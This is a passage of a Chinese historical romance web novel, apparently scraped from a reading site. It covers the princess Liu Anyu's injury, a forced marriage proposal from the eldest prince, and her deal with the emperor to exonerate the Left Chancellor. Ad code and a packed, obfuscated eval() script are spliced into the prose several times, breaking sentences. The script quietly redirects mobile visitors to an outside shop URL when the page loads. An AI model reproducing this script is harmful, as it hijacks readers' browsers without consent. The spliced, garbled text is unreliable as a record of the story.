一只纤细的手抓住了他冰凉的指尖,顾淮错愕低头,对上了一双盈着月色的幽深眼眸。 柳安予哑着声音,脸颊热得薄红,“你......怎么来了?” “你醒了?”顾淮轻轻将她的手拢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 在掌心,放缓了声音,“我来看看你。” “担心我?”柳安予抿唇调笑道,她头疼得厉害,只得微眯着眼睛看他,“......你手好冷。” 像只慵懒又高贵的小猫。 顾淮刚碰完冷水,自然不会是什么暖手,他颇为上道地将她的手揣进怀里,隔着里衣,柳安予触碰到他灼热的胸膛。 “这样,还冷吗?”顾淮一只手包裹住她的手背,浅浅笑了笑,温声说话,另一只手将她额前挡眼的碎发拢到耳后。 “唔,不冷了。”柳安予嘤咛一声,眼皮似有千斤重,嘟嘟囔囔地回了一句。 “你,没必要......偷偷摸摸的,我跟青荷都,交代,交代好了......”柳安予的声音断断续续,她头痛欲裂,醒不了太久,“药好苦,你下次来,给我带些甜的......” 她声音越来越小,顾淮只得凑过去紧贴着听,话到末尾,彻底没了声音。 他疑惑抬头,倏然发现两人靠得太近,鼻尖轻碰,唇瓣只隔一指长的距离,温热的呼吸洒在他脸上,暧昧至极。 他抑制住亲吻的冲动,分开了点距离,垂眸发现柳安予早已沉沉睡去。她背上的伤口将将结痂,这两日习惯了疼痛,倒也睡得能踏实一点。 顾淮用手描摹着柳安予的轮廓,闭上那双含着霜雪的眸子,她就像块润玉,易碎、美丽,泛着微微的光泽。 他心疼到无以言表,克制地在她额上印下一吻,炽热而真挚。 等柳安予再次醒来,整个人埋在温暖的被窝里,她眨眨眼,心里突然空落落的。 日光透过窗子撒进房间,暖洋洋的,带着生命鲜活的气息。 她张开手,看着阳光从指缝间穿过,百无聊赖地倚着身子。 低头突然被枕边的纸袋吸引,她伸手拿起,单手拆开纸袋。一块块奶白的叮叮糖映入眼帘,扑鼻而来的糖香。她捻起一块放在嘴里,咬起来嘎吱嘎吱脆脆地响,甜蜜从唇齿间蔓延开。 柳安予微微抿唇,唇角弧度渐深。 20. 20 笞杖伤 “开着窗等你,能不冷么。”柳安予的身形较前几日更为消瘦,下颌似能看见骨骼,轻声道:“夜里这风要吃人似的,连炭火的暖都压过了,我窝在榻上冷得直打牙颤,只得上那边靠着炉子坐。” 她的指腹摩挲着他的脸,道:“一抬眼,就看见你鬼鬼祟祟地进来,想着吓吓你。” “是我的错。”顾淮唇瓣轻飘飘在她掌心擦过,脸颊软肉讨好似地蹭了蹭她,眼尾垂下去,被说得可怜见似的,“下次不会了,郡主行行好,原谅我。” 她唇边逸出一声短促的轻笑,眉眼带着淡淡的笑意,看起来心情很好。 “这几日,朝上消停多了。”顾淮从怀中摸出一个小瓷瓶,递到柳安予手中,关切地问道:“你伤好些了吗?” 小瓷瓶中是上好的金创药,柳安予不知道以他现在一个罪臣之子,身无要职,还被抄了家的处境,是上哪弄的这东西。 但顾淮不说,她便也不多问,不动声色地攥了攥,轻声道:“好多了,已经没有那么疼了。” 她随手将东西放到手边,顾淮的眸子随着她的动作明明灭灭,倏然暗了一下,却还是抬头温柔地听她说话。 “笞刑一百,看着嚇人,侍卫却也是收了些力的。我一晕,他们还哪还敢多问?”她说得轻描淡写,却只字不提梦里的折磨痛苦。 “更何况......”柳安予微微抿唇,下意识错开眸子,“有大殿下在朝堂上帮我斡旋。”当日她说了狠话,要搁开手一拍两散,不成想李璟只是嘴硬,还是四处奔波帮了她不少忙。 “大殿下啊。”顾淮眸底幽深,直接坐在地上,伸手环住她的腰身,头埋在臂弯里,不自觉地将人搂紧,语气闷闷的,“只是大殿下吗?” 这句没头没尾的话让柳安予听得很是疑惑,她揉了揉他柔软的头发,倏然想起了什么。 她试探性地开口,假装是闲聊,“说来也奇怪,七殿下是出了名的爱妻,这几日却被爆出来在外养妓子,还怀了身孕。怀平侯都闹到陛下面前了,说是七殿下若不给个交代,他便请一纸和离书,叫女儿和七皇子各自奔前程去罢,也算......全了这么些年的情分。” 她悄悄垂眸看着他的神情,又道:“朝中进来都为这事儿移了眼睛,倒也不怎揪着我不放。” 她看见顾淮靠在她腿上,正不自觉地勾起一抹得意的笑,若是他真有尾巴,此时怕是要摇得欢快。 柳安予福至心灵,手指在他发间拨弄,像在摸猫玉玉,将顾淮的头发弄得乱糟糟的。 顾淮抬起头眨眨眼,懵懵的眼神看得柳安予忍不住语调轻扬。 她捧着他的脸用力揉搓几下,一字一顿道:“邋、遢、猫。” 他低低一笑,将脸凑近,“那别摸糖糕儿了,摸我。” 两人的鼻息喷洒,眼神顿时迷离起来,气氛暧昧至极。 柳安予的手顺势滑了下去,搭在他的肩膀上,他骤然倒吸一口凉气,眉头紧皱躬下身去。 “啊。”他扶在床沿,大口大口地呼吸,肩膀处的伤口隐隐作痛,登时殷出鲜血。 只是夜色颇浓,他身上玄色的袍子不显,柳安予看出,还是手掌沾了鲜血,扑鼻而来的腥甜。 “你是不是有事瞒我。”气氛瞬间变得剑拔弩张,她的声音从他耳边压下,冷到了极点。 顾淮抬眸,却见她眸子宛若冰霜,起身逼近他,居高临下。 “只是小伤。”他疼得眼角挂着生理性的眼泪,在月光下晶莹剔透,显得楚楚可怜。 分明,不是小伤。 窗子大开,月光撒进来为他披上一层薄纱,眼睫颤抖,仿若犯错一般跪在她面前。 只是磕碰到柜子,一点点红痕,他便委屈巴巴地告诉她疼;如今肩膀一处莫名的伤,只是轻轻一搭便洇出鲜血,柳安予不敢想象,伤处会有多深。 他却只说是小伤。 他跪地往前移,一步一步,缓缓沉重,仰起头温和地勾了勾唇角,牵住她的手,“只是小伤,并不碍事。” 他不知道柳安予已经看见了血,便故作轻松的样子,晃了晃她的手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13938736|146111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>心底一股无名火腾起,既然他要装,那柳安予便陪他装到底。 她甩开他手,一下子按住他的肩膀,稍稍用力,冷眼看着顾淮的唇瓣霎时白了,细细密密的汗珠从他额上渗出,他却还扯了扯嘴角轻声问着,“怎么了?这处是块瘀伤,我不小心撞到的......” 柳安予眼眶泛了红,故作高傲,哑着声音颤抖,“既是小伤,你方才反应为何这么大?” “微臣怕疼,但若是郡主,就是今日杀了微臣,微臣也甘之如饴。”他微微歪头,拉了拉她的衣角。 他装得那样坦然,眉眼如削,小心翼翼地观察着她的神情,拙劣到柳安予一眼就能看出。 他常是卑微讨好,事事依顺,此刻却浇了柳安予一盆冷水。 如果,连小心翼翼都是装的呢? 柳安予的指尖不由得颤抖,她冷眼看着眼前的人,心底一颗芽渐渐生根。 她知道顾淮是带着目的接近她的,但她喜欢挑战未知,便冷眼看着他那些拙劣的小把戏,不知不觉间,却开始被他的一举一动吸引。 她压抑着心底的情绪,松开了那只手攀上他的脖颈,不容置喙地强迫他抬起头看向自己。 她俯下身,手指触碰脉搏,不由分说地吻了下去。 柳安予肆虐地吻,牙齿的碰撞声接连响起,稀薄的水渍浸润他微干的唇,她贝齿用力一咬,像是在惩罚他,腥甜顿时在舌尖蔓延。顾淮吃痛蹙眉,喘息声暧昧。 一吻完毕,柳安予分了些距离,目光落在他殷红的唇瓣上,鼻尖轻触,低声轻言。 “下次小心点,不要再让我发现了。” 她的话叫顾淮错愕,却不等开口,便被她用力一推跌在月辉处。柳安予笔直站在阴影里,一个眼神都不曾吝啬。 “滚,滚得越远越好。” 顾淮错愕地轻触唇瓣,敛下眸中情绪,什么都没有多说。 直到他转身,在柳安予梳妆台的铜镜中,看见了自己脖颈沾的血。 他拙劣的戏,在此刻,被狠狠戳穿。 21. 21 笞杖刑 日上三竿,青荷来看了两次,柳安予才醒。 “今个郡主怎睡得这么沉?是又疼了?”青荷温声问着,缓缓将人扶起。 “昨个睡得太晚了。”柳安予柳眉微蹙,唇抿成一条凉薄的直线,“狸奴呢?抱来我逗一会儿。” “在窝里呢,奴婢去抱。”平日柳安予都是直接唤玉玉,今日却冷声叫了狸奴,青荷看出柳安予是心情不好,便不多说,挥挥手叫身后两三个侍婢上前来为柳安予盥洗。 樱桃端来一件胭脂红织金石榴裙,还未到近前,便被青荷截下。 “这赤色乍眼,瞧着平白生出些烦躁来。去换那件雪青色柔绢留仙裙,另把那藤青披风拿出来备好,春末天凉,若是郡主想出去逛逛,你也不至于手忙脚乱。”青荷向这边走了几步,有条不紊地交代着。 樱桃一诺,转过身又折返,不好意思地问道:“青荷姐姐,是哪一件?你告给我,下次我便记得了。” “你啊你。”青荷指了指她,倒也没有责怪,“去年上元节,郡主在多宝斋看中的那件。我不是叫你理好了,放在楠木箱子里面吗?” “记起来了,我这就去取。”樱桃一捶手,忙道,她小碎步往外走,过了转角步子一顿,俯身又应,“见过大殿下。” 樱桃声音颇大,耳朵灵敏的青荷一下子便捕捉到了,先李璟一步到柳安予面前,她附耳提醒道:“郡主,大殿下来了。” “他?”柳安予心情烦躁,将帕子搁在侍婢手里,抿唇道:“不见不见。” “诺。”青荷立即意会,快步走出去关了门,李璟正巧走到近前。 “青荷!”李璟叫住她,眉宇间带着淡淡的愁绪,局促地合袖站在那,“安乐她......可醒了?” “见过大殿下。”青荷福了福身,转了转眸子,撒谎眼睛都不眨一下,“郡主歇下了,近来郡主疲乏,不大见人,大殿下改日再来罢。” 李璟闻言顿时犹豫起来,身后一道清脆女声登时响起。 “青荷,你哄得了他,可哄不了本宫。”只见长公主一身宫缎暗花云锦裙,腰配牵珠链子,走起路来流光溢彩,登时在青荷面前站定,细眉一挑,“若真疲乏,何苦樱桃去取什么衣裙?怕不是起晚了才刚盥洗。” 她对着青荷,眸子却是往门口瞥,高声说话隔着门讲给柳安予听,“安乐,连本宫都不见吗?” 过了一会子,屋里才传来柳安予淡淡的声音,“殿下,您先移步前厅,过会子我拾掇好了再见您。” “成。”长公主毫不拖泥带水,转身带着李璟往前厅走,步子风风火火。 青荷连着几步赶紧跟上,在前面引路。 柳安予受着伤,便不大挪动,侍婢们服侍柳安予更衣,长公主和李璟进来时,人还半倚在榻上,怀中窝着猫玉玉。 李璟的目光落在白猫上一瞬,转而落在柳安予精巧的侧脸上。 这条雪青色柔绢留仙裙她以前穿过,那时只觉她气质出尘,优雅矜贵,此时却见那裙子坠在她身上,愈发显得她削薄。 “怎得消减了这么多?”长公主疼惜地抚上她的脸。 “不碍事,是我胃口最近小。”柳安予轻声宽慰着她。 一见柳安予这个可怜样,长公主便什么重话都说不出来,拉着她的手几度张口,最终无奈叹息一声。 “昨个本宫才听说,你和修常闹了矛盾,这孩子心眼实,却也是心贴心地为你打算。” “原来,殿下是来当说客的。”柳安予揉了揉白猫脑袋,抬眸静静瞥了李璟一眼。 李璟紧张地捏住袍子,“安,安乐妹妹......” “就当是给本宫一个面子,你这回任性,人家可没少为你奔波。”长公主暗自捏了捏柳安予的手,苦口婆心道。 柳安予抬眸看了长公主一眼,抿唇朝向李璟,语气带着疏离,“多谢大殿□□恤,就当是安乐欠大殿下一个人情,日后自会还来。” 大殿下......李璟的眸光顿时黯淡,他已经很久没有在柳安予口中听过这个称呼了。 “安乐。”长公主不满地叫了她一声,“怎得如此生分?” “你俩打小一块长大,人家事事都依着顺着哄着,如今何必为了一个顾家,要闹到二人生分的地步呢。”长公主语重心长,她今日来,不只是为了给二人调和,还有旁的目的。 她斟酌几下,倏然开口,“更何况,你们以后是一家人,一家人怎能说两家话?” “一家人?!”柳安予敏锐地捕捉到这个词,摸着猫的手登时一停,“您,什么意思?” “安乐,我不想只当你的璟哥哥。”李璟适时开口,面色涨得通红。 柳安予惊异回眸,终于在李璟口中听到了她最不想听到的话。 “我已向燕王提亲,姑姑在一旁作了见证,如今,如今来问问你的意思。”李璟紧张地吞咽,连忙解释,“那日你说,要跟我搁开手一拍两散,我心如刀绞,日日梦魇,真的害怕就此失去你。” “思来想去,求到姑姑那里。”他撩袍跪地,满眼赤诚,“安乐,我心悦你。” “欸你这孩子......”长公主都吓了一跳。 却见他郑重其事地说着,目光紧盯着柳安予,“我不想只做你的劳什子璟哥哥。倘若日后你嫁与他人,我甚至还要为你送亲,看你凤冠霞帔牵着旁人的手,安乐,我不想。” “我知道这太过唐突!”他急急解释,“你就是怨我也好,恨我也罢,怎么打我骂我都成。我,我只祈愿你情绪过后,能好好考虑考虑我,不是兄妹,是夫妻......” “所以,你们这是在通知我?”柳安予语气冷淡,暗含薄怒。 她气息急促,扶着床沿将将站起,看向长公主的目光带着不可置信,“殿下,就连你,也参与其中?” “安乐。”长公主不免着急起来,她想要去抓柳安予的手,却被她踉跄着一躲。 “我的终身大事,我却是最后一个知道的,你们口口声声说尊重我、要我考虑,可哪一个字,是在为我考虑?”她气得胸膛上下起伏,捂着胸口拼命压抑着自己的情绪,说话的声音极尽平静,却忍不住颤抖,“殿下不是同意,要安乐自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13948390|146111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 选吗?” 她抬眸看向长公主,蓦然自嘲一笑,多了分悲戚,“如今,只是知会一声?” 白猫吓得从她膝上跳起,发出尖锐的猫叫,就像此刻脆弱的柳安予,满心的愤怒和凄楚。 “不,不是的!”李璟着急地解释,柳安予却不想听,扶着床边猛咳几声,眸底凝了霜花一般死寂。 伤口开裂,那条雪青色的裙子登时红了一大片,斑斑点点渗出来,衬得她脸色更加苍白。 “安乐!”长公主和李璟登时惊呼。 长公主离得最近,眼疾手快赶紧扶住她,李璟顿了一瞬,转身开门大喊,“府医!府医!” 郡主府内又一阵手忙脚乱。 “你们......”她咬着唇,疼得直蹙眉,却还是狠心推开她曾最最敬爱的长公主,“走——” “安乐!”李璟眸中焦急,与柳安予双目交汇的刹那,他愣住了。 她小口小口地呼吸,强撑着伏在榻边。回眸望向李璟时,满是失望,她几乎没在李璟面前落过泪,此刻,李璟却瞧见了她眼眶中分明的湿润。 心脏骤然一疼,那眼神仿佛是千万根针直直扎进他的心脏,他下意识后退一步,不敢再看。 柳安予狠狠心,冷声吩咐青荷,“青荷,请长公主殿下和大殿下出去。” “安乐?”长公主不敢相信自己听到了什么,知道青荷硬着头皮走上前拦住二人,“二位殿下......请罢。” 长公主几乎是恼羞成怒,提着裙摆边退边道:“你说要自己选,本宫却也未见你属意什么人选!你......” 青荷“邦”一声将门关紧,如守卫一般挡在门前,长公主哪里被人这般下过面子,当即高了声调,“柳!安!予!你父亲前年自边疆凯旋,其实早落了伤病,这几年愈发严重,不得根治,渐渐也不曾管事!独独,为你婚事忧心!” 她气得在门口踱步,冷眸高声道:“你母亲求到我这儿,就是想趁着你父亲精神头还算好,圆了心愿!他李修常好歹是当朝大皇子,身份、地位、情谊,哪个输了你?你是本宫养大的,本宫还能害了你不成?你......” “啊——”柳安予刺耳的呼喊穿透墙壁,骤然堵住了长公主后面的话。 是府医在上药。 长公主眼前登时浮现了方才那一片鲜红,忍不住红了眼睛,哽咽起来,“你......” 柳安予是她的心头肉,她怎能不心疼?李璟噤声,低头递了帕子,长公主顿时掩帕恸哭,呜呜的声音从指缝间流出。 青荷福了福身,忍不住劝道:“长公主殿下,您,您且先回罢。” 她仰头将眼泪向上擦,不肯失了面子,深深看了紧闭的门一眼,忍着情绪甩帕。 “修常,我们走。” 一墙之隔,柳安予疼到失声,紧紧抓着枕头蓦然落下泪珠,猫玉玉怯怯转上前,一个起跳上了床榻。 旁人还来不及驱赶,却见它乖巧地凑过来,用粉嫩的小舌舔着柳安予颤抖的指尖,水汪汪的大眼睛看着她。 像是,在安慰她。 22. 22 鹤归巢 顾明忱的庭审,提前了。 淅淅沥沥阴冷的雨顺着屋檐滴下来,皇帝下了朝,还歇在养心殿内批奏折。 孙公公小步走来,附耳轻言一句。 “皇上,安乐郡主求见。” 皇帝眼中闪过一抹诧异,转眸却明白了什么,沉下声音,“宣。” 随着孙公公悠长的声音响起,柳安予款款步入殿中,肩膀被细雨沾湿,一身白玉对襟百褶裙,领口处两个金如意盘扣,腰间还坠着暖褐色的穗子。 青荷收了伞和门口侍卫站在一处,孙公公识趣地指了指,侍卫立即带上了门。 自皇帝上次见她,已有几年光景,当时还面色稚嫩的小女孩,如今已经出落得亭亭玉立。 “臣女,参见皇上,吾皇万岁万岁万万岁。”柳安予上前行礼,规规矩矩,挑不出错处。 皇上搁下笔,沉眸看着她,忽然注意到什么,抬手一指,“你鬓边的绒花,叫朕好生熟悉。” 柳安予抬手摸了摸,鬓边珍珠蕊的绯粉绒花轻颤,她敛眸朱唇微启,“皇上忘了吗?永昌十一年秋猎时,您误入深林受伤落阱,是安乐率先发现了您。回京宴上,您说要赏赐安乐,封地、财宝安乐什么都没要,偏偏,瞧上了先皇后鬓边的绒花。” 她语调轻微,明明是跪在那,却脊背笔直,像是未出鞘的剑。 柳安予抬眸缓言,“只可惜后来才知道,上面有一瓣,是您亲手为先皇后缠的。”皇帝脸色阴沉,看着跪在那坦荡荡的柳安予一字一顿。 “安乐不忍夺您念想,如今,想拿来跟您换换——” “旁的赏赐。” * “顾明忱!你认不认罪!” 一盆冷水哗地浇在他身上,顾明忱的意识有些模糊。凡庭审,没有这么问的,实在是顾明忱被折磨得已经恍惚起来,只得靠这些手段维系他的意识。 顾明忱睁不开眼,死尸一般垂下头去。 “这上面白纸黑字写着你的名,‘通匪’之罪板上钉钉,就是你不认,也是要重判你的。如今审来,不过是想让你从实交代,究竟有无同伙,又和谁勾结?” “你打实说,弃市斩首时,本官还能叫刽子手下手轻些,省了你人世末的痛苦。” “臣——绝不——认罪——”如同困兽般嘶哑的低吼,顾明忱艰难发出一句断断续续的话,“臣——此生——坦、坦——荡荡!既未做过——凭何——认错咳咳咳......” 他剧烈地猛咳起来,像是要把骨头咳散架了,哇的一口鲜血混着乌黑的痰吐到地上,他窘迫地用手拢遮,试图拾起所剩不多的体面。 礼不下庶人,刑不上大夫。 顾明忱虽只为议郎给事中,却也是光风霁月、坦坦荡荡,朝中为数不多的清流。 如今遭落成这副人不人鬼不鬼的样子,看得堂上那官也心一颤颤,别开眼不忍再问。 “臣——无罪!”顾明忱强撑着,意识昏昏沉沉,却还在尽心执行着柳安予的话,“二皇子,滥用、私刑......意欲,灭臣。”他拖动铁链,跪地磕头,“臣满身伤痕——皆是罪证!臣,无罪!” 他说这话时,沈忠大步流星正踏进门,眸光一沉扫向顾明忱,步子一顿。 “怎么了。”沈忠步子放缓,解了披风递到侍卫手中,闲庭信步一般走进来,“刑部侍郎沈忠,奉二皇子之命,前来听审。” 他转眸居高临下地看着地上狼狈的人,轻蔑一笑,又重复一遍第一句,“怎么,大人翻案不成,怎得还开始胡乱攀咬了?” 他笑得阴恻恻,看得顾明忱下意识瑟缩。 二皇子来访严刑拷打时,就是他割的舌。 * 珍珠蕊的绯粉缠花没什么好的,即便是,沾到了先皇后的光。 自古帝王真无情。 从前是太子时,他或许真的爱过她,她就是回暖飞来的第一只燕;初冬落在掌心的第一片雪;春日园子中盛开的第一朵花。 是旁人远不及的,心尖尖上的粉珍珠。 可他成了皇帝时,后宫佳丽三千,各花入眼,她似乎就没那么好了。 燕飞了,雪化了,花败 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13958655|146111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。 而她的存在,仿佛是在提醒他。 曾痴心一人时有多么傻。 他为了得到皇位,每一个夜里的黑暗挣扎,背地里的阴狠狡诈,她都目睹。 所以先皇后薨逝的时候,他先是释然,随后才是连绵的钝痛。 但柳安予不只是在提缠花,她想说的,是永昌十一年秋猎时,她于皇上的救命之恩。 她要拿这个做筹码。 柳安予跪在堂下,静静垂眸看着地面,似等听训。 皇帝却只觉心中压着滔天怒火,他在位这么多年来,柳安予是第一个敢公然要挟他的人,就连一旁的孙公公听了都直吓得擦汗。 “好好好。”皇帝咬牙连说了三个好,皮笑肉不笑地看向她,“你想换什么赏赐?” 柳安予抬了头,“左相。” 可算是找到一处发泄,皇帝凝视着她,目光锐利如剑,“旁的朕都能依你,可干政,朕如何能纵你?” 案上烛光明晃晃地映照在他的龙袍上,漫不经心,却暗暗透露出一股不容置喙的威严。 柳安予却不怕,她不是贸然来的,从袖中掏出一本奏折,恭恭敬敬地回应,“皇上您先别急着拒绝臣女。左相一案,着实是误判,所有依据全呈在此。求皇上,亲阅。”她俯身缓缓将奏折高举过头顶,孙公公悄悄瞧了一眼皇帝的神情,亦步亦趋地过去取了呈上。 皇帝的手指轻轻拂过龙椅,落在奏折上,小姑娘虽是第一次写,可句句落笔都规规矩矩,没有一处错。 言辞恳切,条理分明,将这些时日搜罗到的证据,一一列明,先驳后立,末了,还附上了顾明忱的证词。 字里行间,像极了左相。 “古训有言:‘天地和谐,万物共生;君臣和谐,国家安宁’。”柳安予不卑不亢,拱手解释,“皇帝圣明,定当会还左相一个公道。” 她静静跪立,纤细的肩膀却让皇帝看出了与左相一般的风骨,他敛了敛眸,心里却驳了朝臣们常说的一句话。 顾淮不是左相最好的学生,柳安予才是。 23. 23 鹤归巢 “你倒是厉害。”皇帝冷笑一声,将奏折随意扔在书案上,“廷尉都拿不到的口供,你拿来作证词。” 廷尉要他的口供,是为了让他伏罪;柳安予要他的口供,是为了助他脱罪。 孰好孰坏,顾明忱心里自有一杆秤。 “臣女没有廷尉的雷霆手段,惟有真心换真心,才能换来一纸证词。”柳安予言语诚恳,反倒有股符合年纪的“纯真”感,倒让皇帝放下些戒心。 她是来换人的,本就触了皇帝霉头,便也不好表现得太过“聪明”。 真心换真心?皇帝咂摸着这半句,倏然想起前些日子传得沸沸扬扬的长公主责女,柳安予为了这一纸证词,私自审讯顾明忱,生生受了一百笞杖。 柳安予自出生,便是含着金汤匙长大,父亲位至燕王,战功赫赫;当朝长公主代养,视如己出;师从左相,号由皇帝亲赐。 一百笞杖,即便是侍卫收了力,一百个打下来人也得个半死,更何况柳安予这细皮嫩肉的高门贵女? 皇帝威严的眸子缓缓扫过柳安予,见小姑娘消瘦得风吹就倒一般,下颌如削,不自觉缓了语气。 “左相有你做他的学生,是他的福气。”他虽感叹,却未完全松口,手指轻轻叩在书案上。 无罪又如何?皇帝远比左相自己,更知他的委屈。 想让皇帝放过左相,就要拿出更有价值的东西打动他,柳安予深谙此道,另起了一个话头。 “韩守谦韩国师,月初占出一句话,皇上可有耳闻?”柳安予道。 皇帝虽也对他颇有微词,却也知他的能耐,对他的话,还是信着几分。 韩守谦窥国运,卜出剥挂,地下山上,不利有攸往。 这不是好卦。 皇帝不知道这劫什么时候起,又什么时候完。韩守谦只言至于此,弄得举国上下人心惶惶,皇帝也对此颇为在意。 此时,柳安予提起,皇帝倒也沉下心来听听,想知道柳安予能说出什么消息。 “自是听闻了,怎么,你对卜卦也感兴趣?”皇帝悠悠问着。 “略有了解罢了。”柳安予垂眸,出乎意料地说了一句。 皇帝立即提起了兴趣,“嗯?” “此卦,其实有解。”柳安予故作玄虚,她对卜卦其实也只是一知半解,临时补了一些知识,再加上已听过韩守谦解卦,骗过皇帝,自然也是有几分把握。 皇帝果然将信将疑。 “剥卦出世,须谨慎防危,恐有侵蚀。”依着记忆中的话,柳安予如实复述,缓缓道:“五月中,恐有一劫起。” 韩守谦说的是五月尾,柳安予垂眸,面色如常地换了时间,实是她有私心。 “劫?”皇帝沉眸思忖,思索的目光落在柳安予身上,仿佛能洞察她的心。 “臣女,斗胆猜测。”柳安予神态自若,缓缓吐出一个地点,“秫香馆,神仙醉。” “这是?”皇帝挑眉,不动声色地给孙公公递了个眼神。 在一旁极力降低自己存在感的孙公公连忙躬身,悄声提醒道:“皇上,是近来兴起的烟花之地,每月有两次花魁献舞,卖酒卖烟,价格骇人却生意极好。” 皇帝微微颔首,眸子一转表示了然。 “你一个姑娘家家的,提这个作甚?”皇帝蹙眉。 “实在是,意外所知。”柳安予眸光潋滟,“臣女有两位侍婢,其中一人,名为樱桃。她家在京中城北,家中有一哥哥,本是忠厚之辈。染了这神仙醉后,将家底都花了个干净,还上门管樱桃要过不少银子。” “年前臣女见他时,还是精壮高大。他来管樱桃要银子时,臣女偶然得见,却发现此人形销骨立,眼下发黑,似是油尽灯枯之兆,这才注意到秫香馆。” “据臣女所知,朝中大臣已有不少,已经染上这种东西了,刑部侍郎沈忠,便是其一。长此以往......臣女不敢想象。”柳安予顿了顿,局促地捏了捏膝上裙褶,“正巧国师此卦出,臣女,斗胆猜测。” 皇帝的眸子顿时暗了下去,若真如柳安予所言,拿这秫香馆便如树中白蚁,终有一日,会蚀空树干。 “你所言当真?!”皇帝厉声质问。 “臣女,绝无半句虚言。”柳安予坦坦荡荡回应,“若皇上不信,大可寻个旁的由头暗中查查,若有错处,臣女甘愿领罚。” 她知道,她的话只是个导火索,只有让皇帝自己查出来,他才会真的信。 所以柳安予并不贪多,提了沈忠,便已然够了。 皇帝向后靠了靠,眸底暗流涌动,藏着滔天怒火。转眸再看向柳安予,果然松了口,放缓声音。 “朕就这么轻易地放过他了,朕颜面何存?”皇帝目光如炬,稳声问着。 他不再继续方才的话,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13972994|146111||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而朝柳安予想要的方向张了口。 他语调轻扬,想听听柳安予的答案。 柳安予没急着答,她沉吟片刻,手落于膝,琥珀般的眸子轻抬,浑身透露出一种超然的宁静。 “左相还在翰林时,写过一篇策论,皇上颇为赏识,独独对其中‘宁可错杀,不可放过’一句,圈了红。”柳安予顿了顿,道:“皇上留了一句:‘钢刀虽利,不斩无罪之人’。” 她抬眸直视龙颜,眸光明亮一如左相年少般,不畏强权,一腔孤勇。 “臣女,承蒙左相教导,策论里学的第一句,便是这句。先生常念皇上伯乐之恩,多年兢兢业业,未有半点逾矩之想。” “用国者,义立而王,信立而霸。圣颜之圣,在于皇上仁政爱民、知人善任,而非赦免了谁,抑或是责罚了谁就能损益的。” “王者之心,当能藏污纳垢,化腐为奇。” “更何况。”柳安予倏然微微一笑,纤长卷翘的睫毛扫下一片阴影,“皇上有帝王柔情,赦免一个无罪之人,换臣女的珍珠蕊绯粉缠花。世人若知,也只会夸耀皇上,情、深、意、重。” 她将最后一个词念得很重,眉眼笑眯眯的,却轻描淡写地给皇上找好了退路。 皇上久久地凝视着她,蓦然敛颚笑了,声音爽朗。 “柳安予。”他指了指她,“你果真应了那句。” “天资卓绝,难得慧心。” * 庭审还在继续,沈忠眸冷如刀,狠狠剜在顾明忱身上。言语间满是羞辱挖苦,还暗暗提醒着顾明忱那日非人的折磨,试图击溃他的意志。 顾明忱战战兢兢,脑子混沌一般,恨不得现在就认下这莫须有的罪名,早早解脱。 可家人,如同一根弦,在他脑海中苦苦支撑。 他还不能输。 狱中昏暗无光,廷尉反复的质问在他耳畔回响,沉重的铁链拖着他。 倏然,一道尖锐的声音响起。 “奉天承运皇帝,诏曰:顾明忱‘通匪’一案,待审......刑部侍郎沈忠,滥用私刑,现革职查办,钦此——”孙公公尖细的太监嗓响起,眼神一眯,搭了拂尘,身后侍卫立即冲上来将沈忠押下。 沈忠恍惚一瞬,不可置信地看向孙公公,“孙公公!这当中定是有什么误会,公公,公公!皇上明鉴啊——” “带走!” 24. 24 鹤归巢 秫香馆这一查,可不得了了。 其中涉及的官员不计其数,下至地方巡抚,上至六部,无人敢蹚这趟浑水。委任查案的官员,不是今天有病就是明天有事,都是万般推脱。 满朝文武,竟无一人可用。 皇帝大发雷霆,将事情压在了刚刚解除禁足的左相身上,放言他若是荐不出人,那就继续禁足待着! 所有人都以为左相会公报私仇,狠狠踩当初落井下石的那群官员一脚时,他却荐了他的“爱徒”—— 顾淮。 接了这个烫手山芋。 